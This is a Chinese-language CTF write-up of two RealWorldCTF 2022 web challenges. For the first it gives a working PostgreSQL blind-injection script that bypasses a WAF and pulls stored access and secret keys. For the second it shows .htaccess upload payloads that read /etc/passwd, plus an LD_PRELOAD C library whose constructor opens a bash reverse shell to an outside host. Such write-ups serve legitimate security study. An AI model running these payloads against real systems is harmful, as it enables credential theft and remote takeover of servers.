0%

RWCTF2022

打rwctf,坐牢,补题。

但是收获真的好大。

RealWorldCTF2022

Hack into Skynet

postgresql注入,第一次接触postgresql是在去年的i春秋新年欢乐赛,当时啥也不会,第二次接触是在强网杯,依旧啥也不会,到现在,算是真的做了一个。

题目直接给了源码,是一个flask框架,用psycopg2连接postgresql进行一些操作,有一个未知的黑盒叫做Skynet,如果payload撞上会被403waf掉。

pil0w思路一开始是注这个SessionId,在上面经过一番尝试,能绕的waf都绕过去了,最终尝试的两个:

1' or $quote$2$quote$=$quote$2$quote$ or '1' and $quote$2$quote$=$quote$1$quote$--在在线的postgresql下确认了语法没问题,可是始终没有预期结果,使我不禁怀疑了这种%s是否存在注入点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def query_login_state():
sid = flask.request.cookies.get('SessionId', '')
if not sid:
return False

now = datetime.datetime.now()
with psycopg2.connect(
host="challenge-db",
database="ctf",
user="ctf",
password="ctf") as conn:
cursor = conn.cursor()
cursor.execute("SELECT sessionid"
" FROM login_session"
" WHERE sessionid = %s"
" AND valid_since <= %s"
" AND valid_until >= %s"
"", (sid, now, now))
data = [r for r in cursor.fetchall()]
return bool(data)

做实验发现,%s做了一个类似字符串预处理的东西,会将单引号什么的进行转义,所以使用%s是安全的,反而,使用format是先对字符串进行的操作,然后作为整体拼进去,反而可能存在注入。

https://www.psycopg.org/docs/usage.html#passing-parameters-to-sql-queries

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

url = 'http://47.242.21.212:8085/'
table = 'QWERTYUIOPASDFGHJKLZXCVBNM1234567890qwertyuiopasdfghjklzxcvbnm,./:;!@#$%^&*()_+-='
target = ''
proxy='127.0.0.1:8080'
proxies={
'http':'http://'+proxy,
'https':'https://'+proxy,
}
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
# SELECT version() PostgreSQL13.5onx8664pclin
# SELECT string_agg(schema_name,':') FROM information_schema.schemata pg_catalog:public:information_schema
# SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()
# target:target_credentials:login_session:exp:passwd:result:a:cmd_exec:passwd1:b:cmd_exec2
# test_content = "SELECT "
# test_content = "SELECT string_agg(column_name, ':') FROM information_schema.columns c WHERE c.table_name like 'target_c%'"
# target: id:account:password:access_key:secret_key
test_content = "SELECT concat(secret_key,access_key) FROM target_credentials limit 1"
for i in range(0,100):
L = 0
R = 127
for c in table:
payload = "name=1'or substr(--%%0d(%s),%d,1)=$quote$%c$quote$--" % (test_content, i, c)

r = requests.post(url = url, headers=headers, data = payload, cookies={'SessionId':'1ef535685e80693bca97ff5791d26ad0'},proxies=proxies)
if 'Kill before' in r.text:
target += c
break
print(target)
print(target)

RWDN

[CTF].htaccess的使用技巧总结_Y4tacker的博客-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
------WebKitFormBoundaryG9WWWEEOTX4T6bTg
Content-Disposition: form-data; name="form-636080e5-e589-433d-9fa5-2e8ec0f5ba132"; filename="2.txt"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryG9WWWEEOTX4T6bTg
Content-Disposition: form-data; name="form-636080e5-e589-433d-9fa5-2e8ec0f5ba13"; filename=".htaccess"
Content-Type: application/octet-stream

ErrorDocument 404 "%{file:/etc/passwd}"
------WebKitFormBoundaryG9WWWEEOTX4T6bTg--

image-20220128142212481

ErrorDocument 404 "%{file:/etc/apache2/apache2.conf}"

1
2
3
SetEnv LD_PRELOAD /var/www/html/0d5391e5e415928adf66bb2275652534/1.txt
SetOutputFilter 7f39f8317fgzip
ErrorDocument 404 "%{file:/etc/apache2/apache2.conf}"
1
2
3
4
5
6
7
8
9
10

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/xxxxxxxxxx/9999 0>&1'");
}